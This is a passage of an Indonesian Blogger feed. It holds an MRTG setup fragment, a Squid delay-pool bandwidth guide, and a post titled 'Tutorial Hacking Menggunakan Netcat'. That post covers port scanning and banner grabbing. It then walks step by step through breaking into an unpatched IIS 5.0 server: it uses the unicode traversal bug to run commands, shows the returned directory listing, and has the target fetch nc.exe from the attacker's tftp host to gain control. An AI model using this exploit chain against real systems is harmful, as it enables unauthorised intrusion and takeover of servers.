&gt;&gt; /etc/mrtg.cfg &lt;= (untuk menjalankan secara daemon)&lt;br /&gt;bsd# crontab -e&lt;br /&gt;*/5 * * * * /usr/local/bin/mrtg /etc/mrtg.cfg&lt;br /&gt;bsd# crontab -l&lt;br /&gt;*/5 * * * * /usr/local/bin/mrtg /etc/mrtg.cfg&lt;br /&gt;bsd# mrtg -c /etc/mrtg.cfg&lt;br /&gt;&lt;br /&gt;Selesai deh tahap instalan snmpd + mrtg di local machine anda.&lt;br /&gt;untuk melihatnya tinggal buka webserver anda&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-440178983871461410?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/440178983871461410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/440178983871461410'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/03/instalasi-snmpd-mrtg-membuat-mrtg.html' title='Instalasi snmpd + mrtg (membuat mrtg)'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6066688223625788227</id><published>2010-02-23T20:55:00.000-08:00</published><updated>2010-03-16T20:05:56.825-07:00</updated><title type='text'>Tutorial Hacking Menggunakan Netcat</title><content type='html'>Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya&lt;br /&gt;ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi&lt;br /&gt;Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).&lt;br /&gt;Fitur dari Netcat antara lain adalah:&lt;br /&gt;• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari&lt;br /&gt;port mana saja.&lt;br /&gt;• Dapat membaca argumen pada command line dari standar input&lt;br /&gt;• Full DNS forwarding/reverse checking&lt;br /&gt;• Kemampuan untuk menggunakan any local source port&lt;br /&gt;• Kemampuan menggunakan any locally-configured network source address&lt;br /&gt;• Tersedia port scanning secara built-in&lt;br /&gt;• Dan lain-lain&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya&lt;br /&gt;ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi&lt;br /&gt;Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).&lt;br /&gt;Fitur dari Netcat antara lain adalah:&lt;br /&gt;• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari&lt;br /&gt;port mana saja.&lt;br /&gt;• Dapat membaca argumen pada command line dari standar input&lt;br /&gt;• Full DNS forwarding/reverse checking&lt;br /&gt;• Kemampuan untuk menggunakan any local source port&lt;br /&gt;• Kemampuan menggunakan any locally-configured network source address&lt;br /&gt;• Tersedia port scanning secara built-in&lt;br /&gt;• Dan lain-lain&lt;br /&gt;Dengan fitur di atas, banyak para hacker dan pengelola sistem memanfaatkan untuk melakukan&lt;br /&gt;hal-hal sebagai berikut:&lt;br /&gt;&lt;br /&gt;• Scanning port dan menginventori service-service yang terpasang pada server&lt;br /&gt;• File transfer&lt;br /&gt;• Pengujian dan simulasi terhadap server&lt;br /&gt;• Pengujian terhadap firewall, proxy dan gateway&lt;br /&gt;• Pengujian performance network&lt;br /&gt;• Pengujian address spoofing&lt;br /&gt;• Banner grabbing&lt;br /&gt;Lisensi Dokumen:&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan&lt;br /&gt;secara bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau&lt;br /&gt;merubah atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen.&lt;br /&gt;Tidak diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu&lt;br /&gt;dari IlmuKomputer.Com.&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;2&lt;br /&gt;Beberapa fitur dan pemanfaatan Netcat akan dijelaskan di bawah. Namun kami harus selalu&lt;br /&gt;mengingatkan Anda, jangan pernah mencoba kemampuan netcat di sistem komputer yang&lt;br /&gt;bukan milik anda sendiri !&lt;br /&gt;Instalasi Netcat&lt;br /&gt;Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux, melainkan juga&lt;br /&gt;pada sistem operasi Windows.&lt;br /&gt;Pada tulisan ini kami menggunakan Netcat dengan sistem operasi Windows. Semua perintah&lt;br /&gt;pada command line sama dengan perintah yang terdapat pada Netcat dengan sistem operasi&lt;br /&gt;Unix.&lt;br /&gt;Instalasi Netcat pada sistem operasi Windows sangat sederhana. Pertama Anda dapat&lt;br /&gt;mendownload dari situs http://www.atstake.com/research/tool…ork_utilities/ atau di&lt;br /&gt;banyak situs hacker lainnya. Namun demikian Anda harus waspada jika mendownload dari situs&lt;br /&gt;yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikasi menjadi trojan horse&lt;br /&gt;yang dapat mengganggu sistem Anda&lt;br /&gt;Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download yaitu&lt;br /&gt;nc11nt.zip ke dalam sebuah direktori sebagai berikut:&lt;br /&gt;C:\TMP\NETCAT&gt; dir&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 141F-1208&lt;br /&gt;Directory of C:\TMP\NETCAT&lt;br /&gt;02/23/2003 05:03 PM .&lt;br /&gt;02/23/2003 05:03 PM ..&lt;br /&gt;11/03/1994 07:07 PM 4,765 GETOPT.H&lt;br /&gt;01/04/1998 03:17 PM 69,081 NETCAT.C&lt;br /&gt;01/03/1998 02:37 PM 59,392 NC.EXE&lt;br /&gt;11/28/1997 02:48 PM 12,039 DOEXEC.C&lt;br /&gt;11/28/1997 02:36 PM 544 MAKEFILE&lt;br /&gt;11/06/1996 10:40 PM 22,784 GETOPT.C&lt;br /&gt;07/09/1996 04:01 PM 7,283 GENERIC.H&lt;br /&gt;02/06/1998 03:50 PM 61,780 HOBBIT.TXT&lt;br /&gt;02/06/1998 05:53 PM 6,771 README.TXT&lt;br /&gt;02/22/2000 11:24 AM 2,044 AVEXTRA.TXT&lt;br /&gt;10 File(s) 246,483 bytes&lt;br /&gt;2 Dir(s) 8,868,044,800 bytes free&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya perlu Anda perhatikan&lt;br /&gt;bila Anda perlu melakukan kompilasi ulang.&lt;br /&gt;Memulai Netcat&lt;br /&gt;Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada&lt;br /&gt;Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui&lt;br /&gt;option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:&lt;br /&gt;C:\TMP\NETCAT&gt; nc -h&lt;br /&gt;[v1.10 NT]&lt;br /&gt;connect to somewhere: nc [-options] hostname port[s] [ports] …&lt;br /&gt;listen for inbound: nc -l -p port [options] [hostname] [port]&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;3&lt;br /&gt;options:&lt;br /&gt;-d detach from console, stealth mode&lt;br /&gt;-e prog inbound program to exec [dangerous!!]&lt;br /&gt;-g gateway source-routing hop point[s], up to 8&lt;br /&gt;-G num source-routing pointer: 4, 8, 12, …&lt;br /&gt;-h this cruft&lt;br /&gt;-i secs delay interval for lines sent, ports scanned&lt;br /&gt;-l listen mode, for inbound connects&lt;br /&gt;-L listen harder, re-listen on socket close&lt;br /&gt;-n numeric-only IP addresses, no DNS&lt;br /&gt;-o file hex dump of traffic&lt;br /&gt;-p port local port number&lt;br /&gt;-r randomize local and remote ports&lt;br /&gt;-s addr local source address&lt;br /&gt;-t answer TELNET negotiation&lt;br /&gt;-u UDP mode&lt;br /&gt;-v verbose [use twice to be more verbose]&lt;br /&gt;-w secs timeout for connects and final net reads&lt;br /&gt;-z zero-I/O mode [used for scanning]&lt;br /&gt;port numbers can be individual or ranges: m-n [inclusive]&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Secara umum perintah Netcat memiliki struktur sebagai berikut:&lt;br /&gt;C:\&gt; nc –opsi&lt;br /&gt;Port Scanning&lt;br /&gt;Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat&lt;br /&gt;juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port&lt;br /&gt;scanning&lt;br /&gt;Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan&lt;br /&gt;untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web&lt;br /&gt;dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v -z server01 10-140&lt;br /&gt;server01 [128.1.9.81] 139 (netbios-ssn) open&lt;br /&gt;server01 [128.1.9.81] 113 (auth) open&lt;br /&gt;server01 [128.1.9.81] 110 (pop3) open&lt;br /&gt;server01 [128.1.9.81] 98 (?) open&lt;br /&gt;server01 [128.1.9.81] 80 (http) open&lt;br /&gt;server01 [128.1.9.81] 79 (finger) open&lt;br /&gt;server01 [128.1.9.81] 25 (smtp) open&lt;br /&gt;server01 [128.1.9.81] 23 (telnet) open&lt;br /&gt;server01 [128.1.9.81] 21 (ftp) open&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP&lt;br /&gt;128.1.9.81. Option –z merupakan option yang dipergunakan untuk melakukan scanning.&lt;br /&gt;Banner Grabbing&lt;br /&gt;Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan&lt;br /&gt;oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada&lt;br /&gt;di dalam banner sebuah sistem.&lt;br /&gt;Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya&lt;br /&gt;menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti&lt;br /&gt;terlihat pada baris kedua dari contoh hasil di atas.)&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;4&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v -n 128.1.71.103 80&lt;br /&gt;(UNKNOWN) [128.1.71.103] 80 (?) open&lt;br /&gt;get http&lt;br /&gt;HTTP/1.1 400 Bad Request&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Sat, 11 Oct 2003 03:34:24 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 87&lt;br /&gt;ErrorThe parameter is incorrect.&lt;br /&gt;&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika&lt;br /&gt;berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port&lt;br /&gt;80.&lt;br /&gt;Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah&lt;br /&gt;Microsoft dengan IIS/5.0.&lt;br /&gt;Perhatikan contoh berikutnya:&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v www.cobacoba.com 80&lt;br /&gt;www.cobacoba.com [128.1.9.9] 80 (http) open&lt;br /&gt;get/http&lt;br /&gt;&lt;br /&gt;501 Method Not Implemented&lt;br /&gt;Method Not Implemented&lt;br /&gt;&lt;br /&gt;get/http to /index.html not supported.&lt;br /&gt;&lt;br /&gt;Invalid method in request get/http&lt;br /&gt;Apache/1.3.12 Server at www.cobacoba.com Port 80&lt;br /&gt;&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan&lt;br /&gt;nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut&lt;br /&gt;menggunakan Apache Versi 1.3.12.&lt;br /&gt;Skenario Menyusup ke dalam Server Web!&lt;br /&gt;Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.&lt;br /&gt;Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem&lt;br /&gt;target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang&lt;br /&gt;menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman&lt;br /&gt;mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih&lt;br /&gt;saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang&lt;br /&gt;pengelola sistem.&lt;br /&gt;Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana&lt;br /&gt;memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server&lt;br /&gt;web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda&lt;br /&gt;menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army&lt;br /&gt;Knife”&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;5&lt;br /&gt;Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000&lt;br /&gt;dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah&lt;br /&gt;dijelaskan di atas):&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v -z ristbook 20-80&lt;br /&gt;ristbook [128.1.71.103] 80 (http) open&lt;br /&gt;ristbook [128.1.71.103] 25 (smtp) open&lt;br /&gt;ristbook [128.1.71.103] 21 (ftp) open&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.&lt;br /&gt;Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web&lt;br /&gt;menggunakan Microsoft dan IIS 4.0/5.0?&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v ristbook 80&lt;br /&gt;ristbook [128.1.71.103] 80 (http) open&lt;br /&gt;get http&lt;br /&gt;HTTP/1.1 400 Bad Request&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Sat, 11 Oct 2003 08:51:34 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 87&lt;br /&gt;ErrorThe parameter is incorrect.&lt;br /&gt;&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS&lt;br /&gt;5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar&lt;br /&gt;dari bugs unicode ?&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v ristbook 80&lt;br /&gt;ristbook [128.1.71.103] 80 (http) open&lt;br /&gt;get http://ristbook/scripts/..%255c../wi…exe?/c+dir+c:\&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Sat, 11 Oct 2003 09:06:52 GMT&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 0C42-12EA&lt;br /&gt;Directory of c:\&lt;br /&gt;09/17/2001 11:46a 1,012 FRUNLOG.TXT&lt;br /&gt;09/17/2001 11:35a WINDOWS&lt;br /&gt;09/17/2001 11:58a My Documents&lt;br /&gt;09/17/2001 11:35a Program Files&lt;br /&gt;09/17/2001 12:43p ATI&lt;br /&gt;05/05/1999 09:20a 31,512 MAESTRO.COM&lt;br /&gt;09/17/2001 12:50p 0 CONFIG.AGO&lt;br /&gt;05/05/1999 09:20a 11,084 AECU.SYS&lt;br /&gt;09/26/2003 08:35p 30 mstrinf.ini&lt;br /&gt;09/17/2001 12:50p 0 AUTOEXEC.AGO&lt;br /&gt;07/01/2003 07:22p museum&lt;br /&gt;06/06/2001 06:28a 1,071 my_cnf.bak&lt;br /&gt;06/25/2002 07:35p 697 FRONTPG.LOG&lt;br /&gt;08/29/2003 04:16p NAV2001&lt;br /&gt;08/29/2003 04:51p ServicePack&lt;br /&gt;01/28/2002 03:45p HTML&lt;br /&gt;06/17/2002 06:17p 22 autoexec.nav&lt;br /&gt;09/19/2003 04:49p denny&lt;br /&gt;08/27/2003 06:38p 28,290 SCANDISK.LOG&lt;br /&gt;04/05/2003 06:53a 967 command.PIF&lt;br /&gt;06/09/2002 10:16p 442 SETUPXLG.TXT&lt;br /&gt;10/05/2001 03:33p 40,923 c1605r-psn.txt&lt;br /&gt;01/04/2002 12:20p tmp&lt;br /&gt;10/24/2001 02:32p tms20&lt;br /&gt;06/27/2001 11:57p 1,574 index.html.no&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;6&lt;br /&gt;11/13/1998 01:23a 106,496 sqlsun.dll&lt;br /&gt;01/28/2002 03:52p 289 sqlsunin.ini&lt;br /&gt;09/26/2003 12:29p 157,817 winzip.log&lt;br /&gt;01/28/2002 03:53p 85,526 Uninst.isu&lt;br /&gt;12/13/2001 04:30p 317 Shortcut to cuteftp.exe.lnk&lt;br /&gt;06/21/2002 10:34a Acrobat3&lt;br /&gt;01/22/2002 03:18p My Received Files&lt;br /&gt;01/28/2002 03:49p LOG&lt;br /&gt;07/30/2002 01:40p 34,565 atapi.exe&lt;br /&gt;04/06/2003 06:41p 82 asoy.ftp&lt;br /&gt;01/28/2002 03:45p Upgrade&lt;br /&gt;12/07/1999 07:00p 236,304 cmdkoe.exe&lt;br /&gt;01/28/2002 03:45p Install&lt;br /&gt;06/25/2002 07:34p Inetpub&lt;br /&gt;07/05/2002 07:02p Documentation&lt;br /&gt;02/12/2002 01:28p 227,467 datacenter1.jpg&lt;br /&gt;02/09/2002 03:29p 2,920 datacenterthumb.jpg&lt;br /&gt;11/15/2001 03:07p 3,384 sqlnet.log&lt;br /&gt;09/17/1999 06:38p 1,234 Table of Contents.htm&lt;br /&gt;06/26/2002 03:22p ftproot&lt;br /&gt;26 File(s) 974,025 bytes&lt;br /&gt;19 Dir(s) 119,435,264 bytes free&lt;br /&gt;C:\TMP\NETCAT&gt;&lt;br /&gt;Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.&lt;br /&gt;OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke&lt;br /&gt;dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan&lt;br /&gt;meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server&lt;br /&gt;web tersebut dengan leluasa.&lt;br /&gt;Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah&lt;br /&gt;memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server&lt;br /&gt;web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.&lt;br /&gt;Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika&lt;br /&gt;belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat&lt;br /&gt;menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang&lt;br /&gt;dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker&lt;br /&gt;lainnya.&lt;br /&gt;Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:&lt;br /&gt;Artikel Populer IlmuKomputer.Com&lt;br /&gt;Copyright © 2003 IlmuKomputer.Com&lt;br /&gt;7&lt;br /&gt;Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam&lt;br /&gt;direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base&lt;br /&gt;directory dari tftp ke direktori program Netcat Anda.&lt;br /&gt;OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base&lt;br /&gt;directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena&lt;br /&gt;kita akan memfokuskan pada pemanfaatan Netcat.&lt;br /&gt;Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,&lt;br /&gt;sebagai berikut:&lt;br /&gt;C:\TMP\NETCAT&gt; nc -v ristbook 80&lt;br /&gt;ristbook [128.1.71.103] 80 (http) open&lt;br /&gt;get http://ristbook/scripts/..%255c../wi…tp+-i+128.1.99&lt;br /&gt;.25+get+nc.exe&lt;br /&gt;HTTP/1.1 502 Gateway Error&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Sun, 26 Oct 2003 11:00:54 GMT&lt;br /&gt;Content-Length: 215&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Error in CGI Application&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6066688223625788227?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6066688223625788227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6066688223625788227'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/02/tutorial-hacking-menggunakan-netcat.html' title='Tutorial Hacking Menggunakan Netcat'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5945497430847840529</id><published>2010-02-23T20:54:00.001-08:00</published><updated>2010-03-16T20:07:47.465-07:00</updated><title type='text'>Manajemen Bandwidth Di Squid Menggunakan Delay Pools</title><content type='html'>Dokumen ini menjelaskan bagaimana cara mengkonfigurasikan proxy server anda untuk membatasi bandwidth download atau incoming traffic.&lt;br /&gt;Berikut langkah-langkah pengkonfigurasian manajemen bandwidth di squid:&lt;br /&gt;1. Pertama-tama periksa apakah squid telah berjalan di server dan telah dikonfiguraisi sebagai mesin proxy server.&lt;br /&gt;2. Sebelum memulai memanajemen bandwidth di squid, kita jelaskan dulu komponen-komponen manajement bandwidth di squid :&lt;br /&gt;&lt;br /&gt;delay_pools&lt;br /&gt;Opsi ini untuk menspesifikasi berapa jumlah pool yang digunakan untuk membatasi jumlah bandwidth dari ACL. Opsi ini akan dirangkaikan bersama opsi delay_class dan delay_parameters yang akan dibahas di bawah ini.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;delay_class&lt;br /&gt;Opsi ini menspesifikasikan kelompok dari masing-masing pool yang telah didefinisikan pada opsi delay-pools. Ada tiga class yang didukung Squid, antara lain:&lt;br /&gt;• class 1: Semua akses dibatasi dengan single bucket, artinya hanya bisa mendefinisikan overall bandwidth untuk suatu ACL saja, tidak bisa mendefinisikan bandwidth dengan lebih mendetail&lt;br /&gt;• class 2: Semua akses dibatasi dengan single agregate dengan dua parameter bandwidth. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth overall untuk ACL yang spesifik yang ada pada network tersebut.&lt;br /&gt;• class 3: Kelompok yang definisi bandwidth-nya paling mendetail. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth normal yang didapatkan ACL secara umum, dan parameter yang ketiga adalah mendefinisikan bandwidth yang didapatkan ACL jika mengakses ACL-ACL tertentu yang spesifik, misalnya file mp3.&lt;br /&gt;&lt;br /&gt;delay_parameters&lt;br /&gt;Opsi ini menspesifikasikan rumus bandwidth yang akan didapatkan oleh ACL yang akan memasuki delay_pool. Misalnya ada entry berikut ini pada delay_parameters:&lt;br /&gt;delay_parameters 1 -1/-1 2100/4000&lt;br /&gt;Angka 1 berarti rumus ini berlaku untuk pool 1. Angka -1/-1 berarti bandwidth maksimal yang diberikan Squid adalah tidak terbatas untuk pool ini.&lt;br /&gt;&lt;br /&gt;Angka 2100/4000 berarti bandwidth yang didapatkan oleh ACL setelah masuk ke pool ini. Angka ini berada dalam kelipatan 8 b, sehingga untuk mendapatkan nilai bandwidth yang sebenarnya harus dikalikan delapan. Angka 2100 adalah bandwidth yang didapatkan ACL pada masa-masa normal. Jika dikalikan 8, maka bandwidth normal yang akan didapatkan ACL sekitar 18 Kbps. Angka 4000 adalah bandwidth maksimal yang didapatkan ACL pada masa-masa jalur sedang kosong. Jika dikalikan 8, maka bandwidth yang didapatkan sekitar 32 Kbps.&lt;br /&gt;&lt;br /&gt;delay_access&lt;br /&gt;Opsi ini mendefinisikan siapa-siapa ACL yang akan dimasukkan ke pool tertentu untuk mendapatkan “perlambatan” bandwidth. Bentuk umumnya adalah seperti ini:&lt;br /&gt;delay_access 1 allow labprog&lt;br /&gt;Opsi di atas berarti kita memasukkan ACL labprog ke dalam pool 1.&lt;br /&gt;&lt;br /&gt;3. Jika sudah mengerti komponen-komponen delay pool, kita mulai konfigurasi delay pool .&lt;br /&gt;Di umpamakan kita mempunyai bandwidth dari ISP sebesar 512kb, dan kita membuat rule seperti berikut ini:&lt;br /&gt;- Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi, mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka koneksi perhost HANYA mengikuti aturan per-Network saja.&lt;br /&gt;&lt;br /&gt;Penyelesaian:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Edit file /etc/squid/squid.conf&lt;br /&gt;#vi /etc/squid/squid.confLalu tambahkan contoh konfigurasi ini:&lt;br /&gt;# Sebelum kita melakukan pembatasan, kita perlu mendefinisikan ACL network # # yang kita perlukan terlebih dahulu. ACL yang didefinisikan pada host bridge&lt;br /&gt;# seperti di bawah ini:acl lokal src 192.168.1.0/24# Kemudian kita membatasi maksimum download dengan tag di bawah ini:&lt;br /&gt;# Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah&lt;br /&gt;# 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk&lt;br /&gt;# download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi,&lt;br /&gt;# mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka&lt;br /&gt;# koneksi perhost HANYA mengikuti aturan per-Network saja.&lt;br /&gt;&lt;br /&gt;acl filegede url_regex -i \.exe&lt;br /&gt;acl filegede url_regex -i \.mp3&lt;br /&gt;acl filegede url_regex -i \.vqf&lt;br /&gt;acl filegede url_regex -i \.gz&lt;br /&gt;acl filegede url_regex -i \.rpm&lt;br /&gt;acl filegede url_regex -i \.zip&lt;br /&gt;acl filegede url_regex -i \.rar&lt;br /&gt;acl filegede url_regex -i \.avi&lt;br /&gt;acl filegede url_regex -i \.mpeg&lt;br /&gt;acl filegede url_regex -i \.mpe&lt;br /&gt;acl filegede url_regex -i \.mpg&lt;br /&gt;acl filegede url_regex -i \.qt&lt;br /&gt;acl filegede url_regex -i \.ram&lt;br /&gt;acl filegede url_regex -i \.rm&lt;br /&gt;acl filegede url_regex -i \.iso&lt;br /&gt;acl filegede url_regex -i \.raw&lt;br /&gt;acl filegede url_regex -i \.wav&lt;br /&gt;&lt;br /&gt;# Kita buat dulu ACL untuk mendefinisikan file-file di atas dengan menggunakan # regularexpression. Kemudian kita mendefinisikan 2 delay pool untuk&lt;br /&gt;# menampung bandwidth.&lt;br /&gt;# Satu pool masuk dalam kategori class 2 untuk mendefinisikan aturan overall&lt;br /&gt;# 256 Kbps dan per-network 64 Kbps. Satu pool lainnya masuk kategori class 3&lt;br /&gt;# untuk mendefinisikan aturan tambahan jika user mendownload file-file yang&lt;br /&gt;#didefinisikan dalam ACL url_regex dengan bandwidth maksimal 2 Kbps.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;delay_pools 2&lt;br /&gt;delay_class 1 3&lt;br /&gt;delay_parameters 1 32000/32000 8000/8000 250/250&lt;br /&gt;delay_access 1 allow lokal filegede&lt;br /&gt;delay_access 1 deny all&lt;br /&gt;delay_class 2 2&lt;br /&gt;delay_parameters 2 32000/32000 8000/8000&lt;br /&gt;delay_access 2 allow lokal&lt;br /&gt;delay_access 2 deny all&lt;br /&gt;&lt;br /&gt;Jika sudah selesai, simpan hasil konfigurasi dan restart squid&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/etc/init.d/squid restart&lt;br 